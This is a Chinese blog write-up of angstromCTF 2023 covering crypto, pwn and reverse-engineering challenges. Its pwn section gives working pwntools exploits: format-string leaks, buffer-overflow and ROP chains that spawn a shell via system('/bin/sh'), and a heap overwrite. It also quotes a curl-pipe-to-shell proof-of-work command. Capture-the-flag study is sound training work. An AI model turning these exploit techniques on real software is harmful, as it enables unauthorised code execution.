[angstromctf 2023] 部分

这个比赛打了个开头就放弃了,最近放弃的比较多,国外的网太慢,国内的题太难。

Crypto

ranch

这题直接给出密文这提示

rtkw{cf0bj_czbv_nv'cc_y4mv_kf_kip_re0kyvi_uivjj1ex_5vw89s3r44901831}

Caesar dressing is so 44 BC...

然后是加密程序:未知偏移

import string

f = open("flag.txt").read()

encrypted = ""

shift = int(open("secret_shift.txt").read().strip())

for i in f:
    if i in string.ascii_lowercase:
        encrypted += chr(((ord(i) - 97 + shift) % 26)+97)
    else:
        encrypted += i

print(encrypted)

 bugku上caser可以枚举

actf{lo0ks_like_we'll_h4ve_to_try_an0ther_dress1ng_5ef89b3a44901831}

impossible

这题啊!!!这个代码没看大明白,这两个函数出来是全是1,然后交集还是1,然后是最下边的判断,感觉是通不通,可前边有个提示:

Supply positive x and y such that x < y and x > y. 

只要满足这个就行,问了网友,python还真有这个问题,python的数字是变长的,当一个是整形一个是对象的时候,比较类型强制变换时就有这个问题。 

#!/usr/local/bin/python

def fake_psi(a, b):
    return [i for i in a if i in b]

def zero_encoding(x, n):
    ret = []

    for i in range(n):
        if (x & 1) == 0:
            ret.append(x | 1)

        x >>= 1

    return ret

def one_encoding(x, n):
    ret = []

    for i in range(n):
        if x & 1:
            ret.append(x)

        x >>= 1

    return ret

print("Supply positive x and y such that x < y and x > y.")
x = int(input("x: "))
y = int(input("y: "))

if len(fake_psi(one_encoding(x, 64), zero_encoding(y, 64))) == 0 and x > y and x > 0 and y > 0:
    print(open("flag.txt").read())

然后按他说的办就OK了,高手,还知道这个

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32200
Supply positive x and y such that x < y and x > y.
x: 11111111111111111111111111111111111111111111111111111111111
y: 1
actf{se3ms_pretty_p0ssible_t0_m3_7623fb7e33577b8a}

 Lazy Lagrange

先看原题

N = len(FLAG)
assert N <= 18, 'I\'m too lazy to store a flag that long.'
p = None
a = None
M = (1 << 127) - 1

def query1(s):
	if len(s) > 100:
		return 'I\'m too lazy to read a query that long.'
	x = s.split()
	if len(x) > 10:
		return 'I\'m too lazy to process that many inputs.'
	if any(not x_i.isdecimal() for x_i in x):
		return 'I\'m too lazy to decipher strange inputs.'
	x = (int(x_i) for x_i in x)
	global p, a
	p = random.sample(range(N), k=N)
	a = [ord(FLAG[p[i]]) for i in range(N)]
	res = ''
	for x_i in x:
		res += f'{sum(a[j] * x_i ** j for j in range(N)) % M}\n'
	return res

query1('0')

def query2(s):
	if len(s) > 100:
		return 'I\'m too lazy to read a query that long.'
	x = s.split()
	if any(not x_i.isdecimal() for x_i in x):
		return 'I\'m too lazy to decipher strange inputs.'
	x = [int(x_i) for x_i in x]
	while len(x) < N:
		x.append(0)
	z = 1
	for i in range(N):
		z *= not x[i] - a[i]
	return ' '.join(str(p_i * z) for p_i in p)

while True:
	try:
		choice = int(input(": "))
		assert 1 <= choice <= 2
		match choice:
			case 1:
				print(query1(input("\t> ")))
			case 2:
				print(query2(input("\t> ")))
	except Exception as e:
		print("Bad input, exiting", e)
		break

题目分两部分,第一部分要求输入一个序列x,然后会把flag打乱后逐位与x^j 相乘然后加到一起返回。

这步由于有长度限制,把返回当成128进制(7位)输入128,然后返7位ASCII码解开就恢复了

第二步要求输入序列与原打乱的flag相同就会返回打乱的序号。第1步恢复以后第二步得到顺序就OK了

from pwn import *

p = remote('challs.actf.co', 32100)
context.log_level = 'debug'

p.sendlineafter(b': ', b'1')
p.sendlineafter(b'> ', b'128')
a = int(p.recvline())
a = bin(a)[2:].rjust(126,'0')
b = [int(a[i:i+7],2) for i in range(0, 126,7)]
b = bytes(b)[::-1]
p.sendlineafter(b': ', b'2')
p.sendlineafter(b'> ', (' '.join([str(i) for i in b])+' ').encode())
odr = [int(i) for i in p.recvline().decode().strip().split()]
a = [0]*18
for i in range(18):
    a[odr[i]]=b[i]
    
print(bytes(a))

Royal Society of Arts

这是个RSA的题给了(p-1)(q-2)和(p-2)(q-1)这个简单了,可以自己推也可以直接写式子让程序算

自己算也简单这两个一减就有p+q了,然后直接求就行

from Crypto.Util.number import getStrongPrime, bytes_to_long
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
print("(p-2)*(q-1) =", (p-2)*(q-1))
print("(p-1)*(q-2) =", (p-1)*(q-2))

无难度

n = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230158509195522123739130077725744091649212709410268449632822394998403777113982287135909401792915941770405800840172214125677106752311001755849804716850482011237
e = 65537
c = 40544832072726879770661606103417010618988078158535064967318135325645800905492733782556836821807067038917156891878646364780739241157067824416245546374568847937204678288252116089080688173934638564031950544806463980467254757125934359394683198190255474629179266277601987023393543376811412693043039558487983367289
#(p-2)*(q-1) 
h1 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230125943565148141498300205893475242956903188936949934637477735897301870046234768439825644866543391610507164360506843171701976641285249754264159339017466738250
#(p-1)*(q-2)
h2 = 125152237161980107859596658891851084232065907177682165993300073587653109353529564397637482758441209445085460664497151026134819384539887509146955251284230123577760657520479879758538312798938234126141096433998438004751495264208294710150161381066757910797946636886901614307738041629014360829994204066455759806614

#p-q 
h3 = h1-h2 
p,q = var('p q')
solve([p*q == n, p-q ==h3],[p,q])

p = 12432413118408092556922180864578909882548688341838757808040464238372914542545091804094841981170595006563808958609560634333378522509950041851974318809712087
q = 10066608627787074136474825702134891213485892488338118768309318431767076602486802139831042195689782446036335353380696670398366251621025771896701757102780451
d = inverse_mod(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(int(m))
#actf{tw0_equ4ti0ns_in_tw0_unkn0wns_d62507431b7e7087}

Royal Society of Arts 2

国外好像对RSA不大关心,所以经常出简单题,这个给了密文,然后让随便输入然后给出解密,显然这里直接c*2^e就行,提到的明文//2

from Crypto.Util.number import getStrongPrime, bytes_to_long, long_to_bytes
f = open("flag.txt").read()
m = bytes_to_long(f.encode())
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 65537
c = pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)

d = pow(e, -1, (p-1)*(q-1))

c = int(input("Text to decrypt: "))

if c == m or b"actf{" in long_to_bytes(pow(c, d, n)):
    print("No flag for you!")
    exit(1)

print("m =", pow(c, d, n))
from pwn import *

p = remote('challs.actf.co', 32400)

context.log_level = 'debug'

n = int(p.recvline()[4:])
e = int(p.recvline()[4:])
c = int(p.recvline()[4:])

p.sendlineafter(b'Text to decrypt: ', str(pow(2,e,n)*c%n).encode())
m = int(p.recvline()[4:])
print(bytes.fromhex(hex(m>>1)[2:]))

#actf{rs4_is_sorta_homom0rphic_50c8d344df58322b}

后边的就突然变难了,不会了

pwn

queue

题目先把flag读到栈里,然后有格式化字符串漏洞,可以直接打印,只是没有地址用不了找针,按ll打出来再自己组合。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __gid_t rgid; // [rsp+4h] [rbp-CCh]
  FILE *stream; // [rsp+8h] [rbp-C8h]
  char format[48]; // [rsp+10h] [rbp-C0h] BYREF
  char s[136]; // [rsp+40h] [rbp-90h] BYREF
  unsigned __int64 v9; // [rsp+C8h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts("Error: missing flag.txt.");
    exit(1);
  }
  fgets(s, 128, stream);
  printf("What did you learn in class today? ");
  fgets(format, 48, stdin);
  printf("Oh nice, ");
  printf(format);
  printf("sounds pretty cool!");
  return v9 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 31322
What did you learn in class today? %14$p%15$p%16$p%17$p%18$p%19$p
Oh nice, 0x3474737b667463610x75715f74695f6b630x615f74695f6575650x34373964613931360x7d32326234363863(nil)
sounds pretty cool!                                                                                                                                                                                                                          
%14$p%15$p%16$p%17$p%18$p%19$p
a =[0x3474737b66746361,0x75715f74695f6b63,0x615f74695f657565,0x3437396461393136,0x7d32326234363863]
>>> b''.join([p64(i) for i in a])
b'actf{st4ck_it_queue_it_a619ad974c864b22}'
 

gaga

这题给了3个远端,还以为都一样,原来每个只有一部分。

第1个给了地址和后门,直接溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[60]; // [rsp+0h] [rbp-40h] BYREF
  __gid_t rgid; // [rsp+3Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to gaga!");
  puts("This challenge is meant to guide you through an introduction to binary exploitation.");
  printf(
    "\nRight now, you are on stage0. Your goal is to redirect program control to win0, which is at address %p.\n",
    win0);
  printf("Your input: ");
  return gets(v4);
}

第2个的后门带了两个参数

void __fastcall win1(int a1, int a2)
{
  char s[136]; // [rsp+10h] [rbp-90h] BYREF
  FILE *stream; // [rsp+98h] [rbp-8h]

  if ( a1 == 4919 || a2 == 16705 )
  {
    stream = fopen("flag.txt", "r");
    if ( !stream )
    {
      puts("Error: missing flag.txt.");
      exit(1);
    }
    fgets(s, 128, stream);
    puts(s);
  }
}

第3个就直接溢出没有后门了,其实可以直接写第3个的程序,一次跑3个(地址有点区别)

from pwn import *

p = remote('challs.actf.co', 31302)
#p = process('./gaga2')
context(arch='amd64',log_level = 'debug')

#gdb.attach(p, 'b*0x401248')

elf = ELF('./gaga2')
pop_rdi = 0x00000000004012b3 # pop rdi ; ret
pop_rsi = 0x00000000004012b1 # pop rsi ; pop r15 ; ret
p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi, elf.got['setbuf'], elf.plt['puts'], elf.sym['main']))
#p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(pop_rdi+1,pop_rdi+1, pop_rdi, 4919, pop_rsi, 16705,0, elf.sym['win1']))

#p.recvline()
libc_addr = u64(p.recv(6).ljust(8, b'\x00')) - 0x8bad0
bin_sh = libc_addr + 0x1b45bd
system = libc_addr + 0x52290

p.sendlineafter(b"Your input: ", b'A'*0x40 + flat(0x404800, pop_rdi+1, pop_rdi, bin_sh, system, elf.sym['main']))


p.interactive()

#actf{b4by's_
#actf{b4by's_f1rst_pwn!_
#actf{b4by's_f1rst_pwn!_3857ffd6bfdf775e}

leek

输入的堆块在密码前,写溢出覆盖即可

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int i; // [rsp+0h] [rbp-50h]
  int j; // [rsp+4h] [rbp-4Ch]
  __gid_t rgid; // [rsp+8h] [rbp-48h]
  char *v9; // [rsp+10h] [rbp-40h]
  void *s; // [rsp+18h] [rbp-38h]
  char s2[40]; // [rsp+20h] [rbp-30h] BYREF
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  v3 = time(0LL);
  srand(v3);
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("I dare you to leek my secret.");
  for ( i = 0; i < N; ++i )
  {
    v9 = (char *)malloc(0x10uLL);
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
    getrandom(s, 32LL, 0LL);
    for ( j = 0; j <= 31; ++j )
    {
      if ( !*((_BYTE *)s + j) || *((_BYTE *)s + j) == 10 )
        *((_BYTE *)s + j) = 1;
    }
    printf("Your input (NO STACK BUFFER OVERFLOWS!!): ");
    input(v9);                                  // 最长1280
    printf(":skull::skull::skull: bro really said: ");
    puts(v9);
    printf("So? What's my secret? ");
    fgets(s2, 33, stdin);
    if ( strncmp((const char *)s, s2, 0x20uLL) )
    {
      puts("Wrong!");
      exit(-1);
    }
    puts("Okay, I'll give you a reward for guessing it.");
    printf("Say what you want: ");
    gets(v9);
    puts("Hmm... I changed my mind.");
    free(s);
    free(v9);
    puts("Next round!");
  }
  puts("Looks like you made it through.");
  win();
  return v12 - __readfsqword(0x28u);
}

不地要执行100次,外国网站有点慢,只能把串都根据长度连一起发,不然就超时了,sla很费时。

from pwn import *

p = remote('challs.actf.co', 31310)

for i in range(0x64):
    p.sendline(b'A'*(0x40-1))
    p.sendline(b'A'*(0x20-1))
    p.sendline(b'A'*0x18 + p64(0x31))
    print(i)

context(arch='amd64',log_level = 'debug')

p.recvline()    
p.interactive()

widget

格式化字符串漏洞同时有溢出

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-24h] BYREF
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  __gid_t rgid; // [rsp+28h] [rbp-8h]
  unsigned int i; // [rsp+2Ch] [rbp-4h]

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  if ( called )
    exit(1);
  called = 1;
  printf("Amount: ");
  v4 = 0;
  __isoc99_scanf("%d", &v4);
  getchar();
  if ( v4 < 0 )                       //没限制多大
    exit(1);
  printf("Contents: ");
  read(0, buf, v4);
  for ( i = 0; (int)i < v4; ++i )
  {
    if ( buf[i] == 110 )
    {
      printf("bad %d\n", i);
      exit(1);
    }
  }
  printf("Your input: ");
  return printf(buf);
}

用了一个我第一次见的工作量proof   redpwnpow

from pwn import *

def proof():
    p.recvuntil(b'proof of work: curl -sSfL https://pwn.red/pow | sh -s ')
    work = p.recvline().decode().strip()
    r = process(['./redpwnpow-linux-amd64', work])
    p.sendafter(b'solution: ', r.recvline())
    r.close()
    

#p = process('./widget')
p = remote('challs.actf.co', 31320)

context(arch='amd64', log_level='debug')
elf = ELF('./widget')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')

proof()
#gdb.attach(p, 'b*0x4014c5')

p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'%33$p,%34$p,'.ljust(0x20, b'\x00')+flat(0x404800, 0x4013d9))
p.recvuntil(b"Your input: ")
libc.address = int(p.recvuntil(b',', drop=True),16) - 128 - libc.sym['__libc_start_main'] #0x29d90
stack_addr   = int(p.recvuntil(b',', drop=True),16) - 0x128

print('libc:',hex(libc.address), 'stack,rbp:', hex(stack_addr))

pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\0'))

p.sendlineafter(b"Amount: ", b'256')
p.sendlineafter(b"Contents: ", b'\x00'*0x28+ flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'] ))

p.interactive()
#actf{y0u_f0und_a_usefu1_widg3t!_30db5c45a07ac981}

slack

又一个格式化字符串漏洞,只是可输入非常短,不足以干大活,只能一个字节一个字节的写,由于有次数限制需要先改下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v4; // eax
  int i; // [rsp+8h] [rbp-68h]
  __gid_t rgid; // [rsp+Ch] [rbp-64h]
  time_t timer; // [rsp+10h] [rbp-60h] BYREF
  struct tm *tp; // [rsp+18h] [rbp-58h]
  char s[32]; // [rsp+20h] [rbp-50h] BYREF
  char format[40]; // [rsp+40h] [rbp-30h] BYREF
  unsigned __int64 v13; // [rsp+68h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  rgid = getegid();
  setresgid(rgid, rgid, rgid);
  puts("Welcome to slack (not to be confused with the popular chat service Slack)!");
  timer = time(0LL);
  tp = localtime(&timer);
  v3 = time(0LL);
  srand(v3);
  for ( i = 0; i <= 2; ++i )                    //需要先改小
  {
    strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
    v4 = rand();
    printf("%s -- slack Bot:  %s\n", s, (&messages)[v4 % 8]);
    printf("Your message (to increase character limit, pay $99 to upgrade to Professional): ");
    fgets(format, 14, stdin);                   // 13字节太小
    tp = localtime(&timer);
    strftime(s, 0x1AuLL, "%Y-%m-%d %H:%M:%S", tp);
    printf("%s -- You: ", s);
    printf(format);
    putchar(10);
  }
  return v13 - __readfsqword(0x28u);
}

先泄露libc,stack,然后利用指向argv的栈地址链指向计数器高字节改为负数,修改后再指向返回地址写payload 

from pwn import *

#p = process('./slack')
p = remote('challs.actf.co', 31500)

context(arch='amd64', log_level = 'debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3-amd64/libc.so.6')

def snd(pay):
    #p.sendafter(b'Professional): ', pay.encode())
    p.send(pay.encode())


#leak stack,libc
snd('%25$p,%41$p,\n')
p.recvuntil(b"You: ")
i_addr = int(p.recvuntil(b',', drop=True), 16) - 0x180
libc.address = int(p.recvuntil(b',', drop=True), 16) - 128 - libc.sym['__libc_start_main']
print(hex(i_addr), hex(libc.address))

#28->55->155  28->55->i
snd(f'%{(i_addr&0xffff)+3}c%25$hn\n')
#set i = -...
snd(f'%255c%55$hhn\n')

ret_addr = i_addr + 0x70
if i_addr&0xff00 == ret_addr &0xff00:
    snd(f"%{ret_addr&0xff}c%25$hhn\n")
else:
    snd(f"%{ret_addr&0xffff}c%25$hn\n")


pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh  = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym['system'])
for i in range(len(payload)):
    v1 = (ret_addr+i)&0xff
    if v1==0:
        snd(f"%25$hhn\n")
    else:
        snd(f"%{v1}c%25$hhn\n")
    v2 = payload[i]
    if v2==0:
        snd(f"%55$hhn\n")
    else:
        snd(f"%{v2}c%55$hhn\n")

#25->55->i_addr+3 set i>0
if i_addr&0xff00 == ret_addr &0xff00:
    snd(f"%{(i_addr+3)&0xff}c%25$hhn\n")
else:
    snd(f"%{(i_addr+3)&0xffff}c%25$hn\n")

snd(f"%55$hhn\n")

p.sendline(b'cat flag.txt')
p.interactive()
#actf{succesfu1_onb0arding_f99454d9a2f42632}

后边两个难的也没作,国外网站太慢,慢着慢着就放弃了。

RE

checker 略

zaza

一个异或运算

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+8h] [rbp-58h] BYREF
  unsigned int v6; // [rsp+Ch] [rbp-54h] BYREF
  char s[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v8; // [rsp+58h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  v5 = 0;
  v6 = 0;
  printf("I'm going to sleep. Count me some sheep: ");
  __isoc99_scanf("%d", &v5);
  if ( v5 != 4919 )                             // 4919
  {
    puts("That's not enough sheep!");
    exit(1);
  }
  printf("Nice, now reset it. Bet you can't: ");
  __isoc99_scanf("%d", &v6);                    //  1011094151
  if ( v5 * v6 == 1 )
  {
    printf("%d %d", v6, v6 + v5);
    puts("Not good enough for me.");
    exit(1);
  }
  puts("Okay, what's the magic word?");
  getchar();
  fgets(s, 64, stdin);
  s[strcspn(s, "\n")] = 0;
  xor_(s);
  if ( strncmp(s, "2& =$!-( <*+*( ?!&$$6,. )' $19 , #9=!1 <*=6 <6;66#", 0x32uLL) )
  {
    puts("Nope");
    exit(1);
  }
  win();
  return v8 - __readfsqword(0x28u);
}

┌──(kali㉿kali)-[~/ctf/0422]
└─$ nc challs.actf.co 32760
I'm going to sleep. Count me some sheep: 4919
Nice, now reset it. Bet you can't: 0
Okay, what's the magic word?
SHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEPSHEEP
actf{g00dnight_c7822fb3af92b949}

时间有点长,都快忘了。赶紧补上。 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值